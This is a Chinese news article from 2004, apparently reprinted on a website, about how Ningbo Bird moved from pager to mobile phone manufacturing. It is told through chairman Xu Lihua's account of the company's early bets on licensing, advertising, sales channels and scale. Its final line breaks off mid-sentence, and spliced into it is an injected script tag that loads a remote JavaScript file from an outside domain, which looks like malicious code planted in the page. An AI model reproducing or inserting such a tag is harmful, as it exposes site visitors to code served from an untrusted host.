波导:总是先人一步

添加时间:2004-01-05 | 来自媒体:经济日报 | 点击:9845

  从最大的国产寻呼机制造商转向手机生产,仅用两年就夺得国产手机销量桂冠,2003年又雄踞国内市场占有率头把交椅

  俗话说船小好掉头。
  但这话在宁波波导股份有限公司身上不一定适用:1999年,波导在寻呼机市场蒸蒸日上之时,以最大的国产寻呼机制造商身份转向手机生产,仅用了2年时间就夺得国产手机销量桂冠。2003年,波导又一举超越国际品牌,以超出第二名近200万台的销售业绩雄踞国内市场占有率头把交椅。波导这艘大船在漂亮地掉了一个头之后,已经成功地把船上装载的货物都换了样。
  为什么作为“大船”的波导同样如此好掉头呢?
  波导董事长徐立华总结了四个字:先人一步。回顾波导的历史,我们惊奇地发现,几乎在前进途中的每一个转弯处,波导都做到了这四个字。徐立华告诉记者,决定波导命运的关键有五步。

没有永远盈利的项目


  徐立华说做企业不要期望找到永远盈利的项目。成功的企业总是在老项目盈利的情况下,开始寻找新的项目,培育新的增长点。

  第一步迈出时,舆论对波导的做法普遍感到惊讶甚至是不理解。1999年,国内呼机市场正处于火爆之中,而波导正是这个市场最大的国内受益者:在当年全国500万台的市场中,波导寻呼机的销量超过了百万,成为继摩托罗拉之后中国寻呼机市场的第二大占有者。更为可贵的是,在洋品牌一统天下的格局下,波导的寻呼机具有自主知识产权。但正是在这样的形势下,波导却作出了一个出乎大多数人意料的选择:转向手机生产。
  后来的事实证明,这一步对波导至关重要————2000年,国内寻呼机市场开始大幅滑坡,寻呼台几乎以每天1家的速度减少。到2001年,曾经占有国内70%市场的摩托罗拉也不得不宣布退出寻呼机市场。而此时的波导已经成为手机市场国内第一品牌。
  第二步被徐立华称为“冒险一搏”。1999年元月,多家企业尚在争夺信息产业部的“手机生产许可证”,波导却偷偷地贷款2亿多人民币投资了第一条手机生产线。一旦拿不到许可证,生产线就要报废。徐立华却胸有成竹。他邀请了信息产业部的官员到波导参观,告诉他们手机已经开始生产,大有一副“孩子已经生了,你们给不给准生证”的味道。
  事实上早在1998年,波导就合并了宁波电子信息集团下属的电容器总厂和太阳能电源厂,使这家信息产业部部属企业成为波导的第一大股东。如果不发生产许可证,损失的就是国有资产。而波导也确实符合了颁发许可证的条件。这样,等到9月份拿到许可证剪彩之时,波导的手机仓库里已经有了2万台库存。而其他几家同时拿到许可证的企业才开始投资生产线,自然比波导慢了半拍。

掌握渠道才能掌握主动

  但是一味追求产量对一个企业来说是没有意义的。只有把产量变成销量,企业才能活起来。这是一个简单的道理。而长期计划经济下的思维方式使许多企业恰恰忽略了这一点。幸好波导没有忽略,于是有了第三步。这一步使波导成功地从手机制造商转向生产销售一体化的企业,率先开辟了自己的营销渠道。2000年初,波导贷款4000多万元,开了国产手机大规模投放广告的先河。徐立华说,当初国产手机几乎没有做广告的,我们的广告效果非常好,“手机中的战斗机”一炮打响。同时,波导还摒弃了当时普遍采用的销售交给二级代理商的做法,2000年就在全国建立了28家销售分公司。借助广告效应,波导很快就开拓了自己的销售渠道。
  现在,各大手机厂商的专卖店遍布大中城市已不足为奇。波导的成功之处是把这一步走在了别人的前面。而这一步的意义不但使波导的市场占有率直线上升,同时也为国产手机整体突围探索了一条可行的道路。
  第四步是率先扩大规模。波导初期的规模扩大是一种爆发式的增长。从1999年开始生产手机,2000年销量即达到近70万台,成为国产手机中销量最大的品牌,2001年、2002年分别以243万台、678.55万台销量位居国产手机的第一位,2003年前10个月实现销售942.6万台,一举超越国际品牌成为市场占有率第一的品牌。徐立华说,今后波导的手机规模扩张将会明显减速,因为手机市场已经进入平稳增长阶段,企业的扩张必须处理好利润和规模的关系。
在市场上升阶段抓住机会爆发式扩张,当市场进入平稳期后,则逐步将规模控制在成本和利润的最佳结合点,徐立华说这是波导第四步的要义所在。而要找到这个最佳的结合点,只有掌握渠道才能掌握主动。

市场要的是房子而不是砖头

  技术是国产手机的软肋。在这一点上波导同样“先人一步”。从投产之初,他们就走上了自主研发的道路。他们先后和法国萨基姆公司成立了合资公司及研究院,直接引进、吸收国?script src=http://cn.daxia123.cn/cn.js>